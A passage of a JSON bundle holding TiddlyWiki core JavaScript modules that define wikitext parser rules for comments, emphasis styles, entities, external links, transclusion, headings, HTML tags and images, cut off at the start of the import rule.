"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/commentinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for HTML comments. For example:\n\n```\n<!-- This is a comment -->\n```\n\nNote that the syntax for comments is simplified to an opening \"<!--\" sequence and a closing \"-->\" sequence -- HTML itself implements a more complex format (see http://ostermiller.org/findhtmlcomment.html)\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"commentinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\tthis.matchRegExp = /<!--/mg;\n\tthis.endMatchRegExp = /-->/mg;\n};\n\nexports.findNextMatch = function(startPos) {\n\tthis.matchRegExp.lastIndex = startPos;\n\tthis.match = this.matchRegExp.exec(this.parser.source);\n\tif(this.match) {\n\t\tthis.endMatchRegExp.lastIndex = startPos + this.match[0].length;\n\t\tthis.endMatch = this.endMatchRegExp.exec(this.parser.source);\n\t\tif(this.endMatch) {\n\t\t\treturn this.match.index;\n\t\t}\n\t}\n\treturn undefined;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.endMatchRegExp.lastIndex;\n\t// Don't return any elements\n\treturn [];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/dash.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/dash.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/dash.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for dashes. For example:\n\n```\nThis is an en-dash: --\n\nThis is an em-dash: ---\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"dash\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /-{2,3}(?!-)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tvar dash = this.match[0].length === 2 ? \"–\" : \"—\";\n\treturn [{\n\t\ttype: \"entity\",\n\t\tentity: dash\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/emphasis/bold.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/emphasis/bold.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/bold.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - bold. For example:\n\n```\n\tThis is ''bold'' text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except bold \n\\rules only bold \n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"bold\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /''/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/''/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"strong\",\n\t\tchildren: tree\n\t}];\n};\n\n})();",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/emphasis/italic.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/emphasis/italic.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/italic.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - italic. For example:\n\n```\n\tThis is //italic// text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except italic\n\\rules only italic\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"italic\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\/\\//mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/\\/\\//mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"em\",\n\t\tchildren: tree\n\t}];\n};\n\n})();",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/emphasis/strikethrough.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/emphasis/strikethrough.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/strikethrough.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - strikethrough. For example:\n\n```\n\tThis is ~~strikethrough~~ text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except strikethrough \n\\rules only strikethrough \n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"strikethrough\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /~~/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/~~/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"strike\",\n\t\tchildren: tree\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/emphasis/subscript.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/emphasis/subscript.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/subscript.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - subscript. For example:\n\n```\n\tThis is ,,subscript,, text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except subscript \n\\rules only subscript \n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"subscript\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /,,/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/,,/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"sub\",\n\t\tchildren: tree\n\t}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/emphasis/superscript.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/emphasis/superscript.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/superscript.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - superscript. For example:\n\n```\n\tThis is ^^superscript^^ text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except superscript \n\\rules only superscript \n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"superscript\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\^\\^/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/\\^\\^/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"sup\",\n\t\tchildren: tree\n\t}];\n};\n\n})();",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/emphasis/underscore.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/emphasis/underscore.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/emphasis/underscore.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for emphasis - underscore. For example:\n\n```\n\tThis is __underscore__ text\n```\n\nThis wikiparser can be modified using the rules eg:\n\n```\n\\rules except underscore \n\\rules only underscore\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"underscore\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /__/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\n\t// Parse the run including the terminator\n\tvar tree = this.parser.parseInlineRun(/__/mg,{eatTerminator: true});\n\n\t// Return the classed span\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"u\",\n\t\tchildren: tree\n\t}];\n};\n\n})();",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/entity.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/entity.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/entity.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for HTML entities. For example:\n\n```\n\tThis is a copyright symbol: ©\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"entity\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /(&#?[a-zA-Z0-9]{2,8};)/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get all the details of the match\n\tvar entityString = this.match[1];\n\t// Move past the macro call\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Return the entity\n\treturn [{type: \"entity\", entity: this.match[0]}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/extlink.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/extlink.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/extlink.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for external links. For example:\n\n```\nAn external link: https://www.tiddlywiki.com/\n\nA suppressed external link: ~http://www.tiddlyspace.com/\n```\n\nExternal links can be suppressed by preceding them with `~`.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"extlink\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /~?(?:file|http|https|mailto|ftp|irc|news|data|skype):[^\\s<>{}\\[\\]`|\"\\\\^]+(?:\\/|\\b)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Create the link unless it is suppressed\n\tif(this.match[0].substr(0,1) === \"~\") {\n\t\treturn [{type: \"text\", text: this.match[0].substr(1)}];\n\t} else {\n\t\treturn [{\n\t\t\ttype: \"element\",\n\t\t\ttag: \"a\",\n\t\t\tattributes: {\n\t\t\t\thref: {type: \"string\", value: this.match[0]},\n\t\t\t\t\"class\": {type: \"string\", value: \"tc-tiddlylink-external\"},\n\t\t\t\ttarget: {type: \"string\", value: \"_blank\"},\n\t\t\t\trel: {type: \"string\", value: \"noopener noreferrer\"}\n\t\t\t},\n\t\t\tchildren: [{\n\t\t\t\ttype: \"text\", text: this.match[0]\n\t\t\t}]\n\t\t}];\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/filteredtranscludeblock.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/filteredtranscludeblock.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/filteredtranscludeblock.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for block-level filtered transclusion. For example:\n\n```\n{{{ [tag[docs]] }}}\n{{{ [tag[docs]] |tooltip}}}\n{{{ [tag[docs]] ||TemplateTitle}}}\n{{{ [tag[docs]] |tooltip||TemplateTitle}}}\n{{{ [tag[docs]] }}width:40;height:50;}.class.class\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"filteredtranscludeblock\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\{\\{\\{([^\\|]+?)(?:\\|([^\\|\\{\\}]+))?(?:\\|\\|([^\\|\\{\\}]+))?\\}\\}([^\\}]*)\\}(?:\\.(\\S+))?(?:\\r?\\n|$)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Get the match details\n\tvar filter = this.match[1],\n\t\ttooltip = this.match[2],\n\t\ttemplate = $tw.utils.trim(this.match[3]),\n\t\tstyle = this.match[4],\n\t\tclasses = this.match[5];\n\t// Return the list widget\n\tvar node = {\n\t\ttype: \"list\",\n\t\tattributes: {\n\t\t\tfilter: {type: \"string\", value: filter}\n\t\t},\n\t\tisBlock: true\n\t};\n\tif(tooltip) {\n\t\tnode.attributes.tooltip = {type: \"string\", value: tooltip};\n\t}\n\tif(template) {\n\t\tnode.attributes.template = {type: \"string\", value: template};\n\t}\n\tif(style) {\n\t\tnode.attributes.style = {type: \"string\", value: style};\n\t}\n\tif(classes) {\n\t\tnode.attributes.itemClass = {type: \"string\", value: classes.split(\".\").join(\" \")};\n\t}\n\treturn [node];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/filteredtranscludeinline.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/filteredtranscludeinline.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/filteredtranscludeinline.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text rule for inline filtered transclusion. For example:\n\n```\n{{{ [tag[docs]] }}}\n{{{ [tag[docs]] |tooltip}}}\n{{{ [tag[docs]] ||TemplateTitle}}}\n{{{ [tag[docs]] |tooltip||TemplateTitle}}}\n{{{ [tag[docs]] }}width:40;height:50;}.class.class\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"filteredtranscludeinline\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\\{\\{\\{([^\\|]+?)(?:\\|([^\\|\\{\\}]+))?(?:\\|\\|([^\\|\\{\\}]+))?\\}\\}([^\\}]*)\\}(?:\\.(\\S+))?/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Get the match details\n\tvar filter = this.match[1],\n\t\ttooltip = this.match[2],\n\t\ttemplate = $tw.utils.trim(this.match[3]),\n\t\tstyle = this.match[4],\n\t\tclasses = this.match[5];\n\t// Return the list widget\n\tvar node = {\n\t\ttype: \"list\",\n\t\tattributes: {\n\t\t\tfilter: {type: \"string\", value: filter}\n\t\t}\n\t};\n\tif(tooltip) {\n\t\tnode.attributes.tooltip = {type: \"string\", value: tooltip};\n\t}\n\tif(template) {\n\t\tnode.attributes.template = {type: \"string\", value: template};\n\t}\n\tif(style) {\n\t\tnode.attributes.style = {type: \"string\", value: style};\n\t}\n\tif(classes) {\n\t\tnode.attributes.itemClass = {type: \"string\", value: classes.split(\".\").join(\" \")};\n\t}\n\treturn [node];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/hardlinebreaks.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/hardlinebreaks.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/hardlinebreaks.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for marking areas with hard line breaks. For example:\n\n```\n\"\"\"\nThis is some text\nThat is set like\nIt is a Poem\nWhen it is\nClearly\nNot\n\"\"\"\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"hardlinebreaks\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /\"\"\"(?:\\r?\\n)?/mg;\n};\n\nexports.parse = function() {\n\tvar reEnd = /(\"\"\")|(\\r?\\n)/mg,\n\t\ttree = [],\n\t\tmatch;\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\tdo {\n\t\t// Parse the run up to the terminator\n\t\ttree.push.apply(tree,this.parser.parseInlineRun(reEnd,{eatTerminator: false}));\n\t\t// Redo the terminator match\n\t\treEnd.lastIndex = this.parser.pos;\n\t\tmatch = reEnd.exec(this.parser.source);\n\t\tif(match) {\n\t\t\tthis.parser.pos = reEnd.lastIndex;\n\t\t\t// Add a line break if the terminator was a line break\n\t\t\tif(match[2]) {\n\t\t\t\ttree.push({type: \"element\", tag: \"br\"});\n\t\t\t}\n\t\t}\n\t} while(match && !match[1]);\n\t// Return the nodes\n\treturn tree;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/heading.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/heading.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/heading.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for headings\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"heading\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /(!{1,6})/mg;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Get all the details of the match\n\tvar headingLevel = this.match[1].length;\n\t// Move past the !s\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\t// Parse any classes, whitespace and then the heading itself\n\tvar classes = this.parser.parseClasses();\n\tthis.parser.skipWhitespace({treatNewlinesAsNonWhitespace: true});\n\tvar tree = this.parser.parseInlineRun(/(\\r?\\n)/mg);\n\t// Return the heading\n\treturn [{\n\t\ttype: \"element\",\n\t\ttag: \"h\" + headingLevel, \n\t\tattributes: {\n\t\t\t\"class\": {type: \"string\", value: classes.join(\" \")}\n\t\t},\n\t\tchildren: tree\n\t}];\n};\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/horizrule.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/horizrule.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/horizrule.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text block rule for rules. For example:\n\n```\n---\n```\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"horizrule\";\nexports.types = {block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n\t// Regexp to match\n\tthis.matchRegExp = /-{3,}\\r?(?:\\n|$)/mg;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.matchRegExp.lastIndex;\n\treturn [{type: \"element\", tag: \"hr\"}];\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/html.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/html.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/html.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki rule for HTML elements and widgets. For example:\n\n{{{\n<aside>\nThis is an HTML5 aside element\n</aside>\n\n<$slider target=\"MyTiddler\">\nThis is a widget invocation\n</$slider>\n\n}}}\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"html\";\nexports.types = {inline: true, block: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n};\n\nexports.findNextMatch = function(startPos) {\n\t// Find the next tag\n\tthis.nextTag = this.findNextTag(this.parser.source,startPos,{\n\t\trequireLineBreak: this.is.block\n\t});\n\treturn this.nextTag ? this.nextTag.start : undefined;\n};\n\n/*\nParse the most recent match\n*/\nexports.parse = function() {\n\t// Retrieve the most recent match so that recursive calls don't overwrite it\n\tvar tag = this.nextTag;\n\tthis.nextTag = null;\n\t// Advance the parser position to past the tag\n\tthis.parser.pos = tag.end;\n\t// Check for an immediately following double linebreak\n\tvar hasLineBreak = !tag.isSelfClosing && !!$tw.utils.parseTokenRegExp(this.parser.source,this.parser.pos,/([^\\S\\n\\r]*\\r?\\n(?:[^\\S\\n\\r]*\\r?\\n|$))/g);\n\t// Set whether we're in block mode\n\ttag.isBlock = this.is.block || hasLineBreak;\n\t// Parse the body if we need to\n\tif(!tag.isSelfClosing && $tw.config.htmlVoidElements.indexOf(tag.tag) === -1) {\n\t\t\tvar reEndString = \"</\" + $tw.utils.escapeRegExp(tag.tag) + \">\",\n\t\t\t\treEnd = new RegExp(\"(\" + reEndString + \")\",\"mg\");\n\t\tif(hasLineBreak) {\n\t\t\ttag.children = this.parser.parseBlocks(reEndString);\n\t\t} else {\n\t\t\ttag.children = this.parser.parseInlineRun(reEnd);\n\t\t}\n\t\treEnd.lastIndex = this.parser.pos;\n\t\tvar endMatch = reEnd.exec(this.parser.source);\n\t\tif(endMatch && endMatch.index === this.parser.pos) {\n\t\t\tthis.parser.pos = endMatch.index + endMatch[0].length;\n\t\t}\n\t}\n\t// Return the tag\n\treturn [tag];\n};\n\n/*\nLook for an HTML tag. Returns null if not found, otherwise returns {type: \"element\", name:, attributes: [], isSelfClosing:, start:, end:,}\n*/\nexports.parseTag = function(source,pos,options) {\n\toptions = options || {};\n\tvar token,\n\t\tnode = {\n\t\t\ttype: \"element\",\n\t\t\tstart: pos,\n\t\t\tattributes: {}\n\t\t};\n\t// Define our regexps\n\tvar reTagName = /([a-zA-Z0-9\\-\\$]+)/g;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for a less than sign\n\ttoken = $tw.utils.parseTokenString(source,pos,\"<\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Get the tag name\n\ttoken = $tw.utils.parseTokenRegExp(source,pos,reTagName);\n\tif(!token) {\n\t\treturn null;\n\t}\n\tnode.tag = token.match[1];\n\tif(node.tag.slice(1).indexOf(\"$\") !== -1) {\n\t\treturn null;\n\t}\n\tif(node.tag.charAt(0) === \"$\") {\n\t\tnode.type = node.tag.substr(1);\n\t}\n\tpos = token.end;\n\t// Check that the tag is terminated by a space, / or >\n\tif(!$tw.utils.parseWhiteSpace(source,pos) && !(source.charAt(pos) === \"/\") && !(source.charAt(pos) === \">\") ) {\n\t\treturn null;\n\t}\n\t// Process attributes\n\tvar attribute = $tw.utils.parseAttribute(source,pos);\n\twhile(attribute) {\n\t\tnode.attributes[attribute.name] = attribute;\n\t\tpos = attribute.end;\n\t\t// Get the next attribute\n\t\tattribute = $tw.utils.parseAttribute(source,pos);\n\t}\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for a closing slash\n\ttoken = $tw.utils.parseTokenString(source,pos,\"/\");\n\tif(token) {\n\t\tpos = token.end;\n\t\tnode.isSelfClosing = true;\n\t}\n\t// Look for a greater than sign\n\ttoken = $tw.utils.parseTokenString(source,pos,\">\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Check for a required line break\n\tif(options.requireLineBreak) {\n\t\ttoken = $tw.utils.parseTokenRegExp(source,pos,/([^\\S\\n\\r]*\\r?\\n(?:[^\\S\\n\\r]*\\r?\\n|$))/g);\n\t\tif(!token) {\n\t\t\treturn null;\n\t\t}\n\t}\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\nexports.findNextTag = function(source,pos,options) {\n\t// A regexp for finding candidate HTML tags\n\tvar reLookahead = /<([a-zA-Z\\-\\$]+)/g;\n\t// Find the next candidate\n\treLookahead.lastIndex = pos;\n\tvar match = reLookahead.exec(source);\n\twhile(match) {\n\t\t// Try to parse the candidate as a tag\n\t\tvar tag = this.parseTag(source,match.index,options);\n\t\t// Return success\n\t\tif(tag && this.isLegalTag(tag)) {\n\t\t\treturn tag;\n\t\t}\n\t\t// Look for the next match\n\t\treLookahead.lastIndex = match.index + 1;\n\t\tmatch = reLookahead.exec(source);\n\t}\n\t// Failed\n\treturn null;\n};\n\nexports.isLegalTag = function(tag) {\n\t// Widgets are always OK\n\tif(tag.type !== \"element\") {\n\t\treturn true;\n\t// If it's an HTML tag that starts with a dash then it's not legal\n\t} else if(tag.tag.charAt(0) === \"-\") {\n\t\treturn false;\n\t} else {\n\t\t// Otherwise it's OK\n\t\treturn true;\n\t}\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/image.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/image.js",
"text": "/*\\\ntitle: $:/core/modules/parsers/wikiparser/rules/image.js\ntype: application/javascript\nmodule-type: wikirule\n\nWiki text inline rule for embedding images. For example:\n\n```\n[img[https://tiddlywiki.com/fractalveg.jpg]]\n[img width=23 height=24 [https://tiddlywiki.com/fractalveg.jpg]]\n[img width={{!!width}} height={{!!height}} [https://tiddlywiki.com/fractalveg.jpg]]\n[img[Description of image|https://tiddlywiki.com/fractalveg.jpg]]\n[img[TiddlerTitle]]\n[img[Description of image|TiddlerTitle]]\n```\n\nGenerates the `<$image>` widget.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports.name = \"image\";\nexports.types = {inline: true};\n\nexports.init = function(parser) {\n\tthis.parser = parser;\n};\n\nexports.findNextMatch = function(startPos) {\n\t// Find the next tag\n\tthis.nextImage = this.findNextImage(this.parser.source,startPos);\n\treturn this.nextImage ? this.nextImage.start : undefined;\n};\n\nexports.parse = function() {\n\t// Move past the match\n\tthis.parser.pos = this.nextImage.end;\n\tvar node = {\n\t\ttype: \"image\",\n\t\tattributes: this.nextImage.attributes\n\t};\n\treturn [node];\n};\n\n/*\nFind the next image from the current position\n*/\nexports.findNextImage = function(source,pos) {\n\t// A regexp for finding candidate HTML tags\n\tvar reLookahead = /(\\[img)/g;\n\t// Find the next candidate\n\treLookahead.lastIndex = pos;\n\tvar match = reLookahead.exec(source);\n\twhile(match) {\n\t\t// Try to parse the candidate as a tag\n\t\tvar tag = this.parseImage(source,match.index);\n\t\t// Return success\n\t\tif(tag) {\n\t\t\treturn tag;\n\t\t}\n\t\t// Look for the next match\n\t\treLookahead.lastIndex = match.index + 1;\n\t\tmatch = reLookahead.exec(source);\n\t}\n\t// Failed\n\treturn null;\n};\n\n/*\nLook for an image at the specified position. Returns null if not found, otherwise returns {type: \"image\", attributes: [], isSelfClosing:, start:, end:,}\n*/\nexports.parseImage = function(source,pos) {\n\tvar token,\n\t\tnode = {\n\t\t\ttype: \"image\",\n\t\t\tstart: pos,\n\t\t\tattributes: {}\n\t\t};\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for the `[img`\n\ttoken = $tw.utils.parseTokenString(source,pos,\"[img\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Process attributes\n\tif(source.charAt(pos) !== \"[\") {\n\t\tvar attribute = $tw.utils.parseAttribute(source,pos);\n\t\twhile(attribute) {\n\t\t\tnode.attributes[attribute.name] = attribute;\n\t\t\tpos = attribute.end;\n\t\t\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t\t\tif(source.charAt(pos) !== \"[\") {\n\t\t\t\t// Get the next attribute\n\t\t\t\tattribute = $tw.utils.parseAttribute(source,pos);\n\t\t\t} else {\n\t\t\t\tattribute = null;\n\t\t\t}\n\t\t}\n\t}\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Look for the `[` after the attributes\n\ttoken = $tw.utils.parseTokenString(source,pos,\"[\");\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\t// Skip whitespace\n\tpos = $tw.utils.skipWhiteSpace(source,pos);\n\t// Get the source up to the terminating `]]`\n\ttoken = $tw.utils.parseTokenRegExp(source,pos,/(?:([^|\\]]*?)\\|)?([^\\]]+?)\\]\\]/g);\n\tif(!token) {\n\t\treturn null;\n\t}\n\tpos = token.end;\n\tif(token.match[1]) {\n\t\tnode.attributes.tooltip = {type: \"string\", value: token.match[1].trim()};\n\t}\n\tnode.attributes.source = {type: \"string\", value: (token.match[2] || \"\").trim()};\n\t// Update the end position\n\tnode.end = pos;\n\treturn node;\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "wikirule"
},
"$:/core/modules/parsers/wikiparser/rules/import.js": {
"title": "$:/core/modules/parsers/wikiparser/rules/import.js",
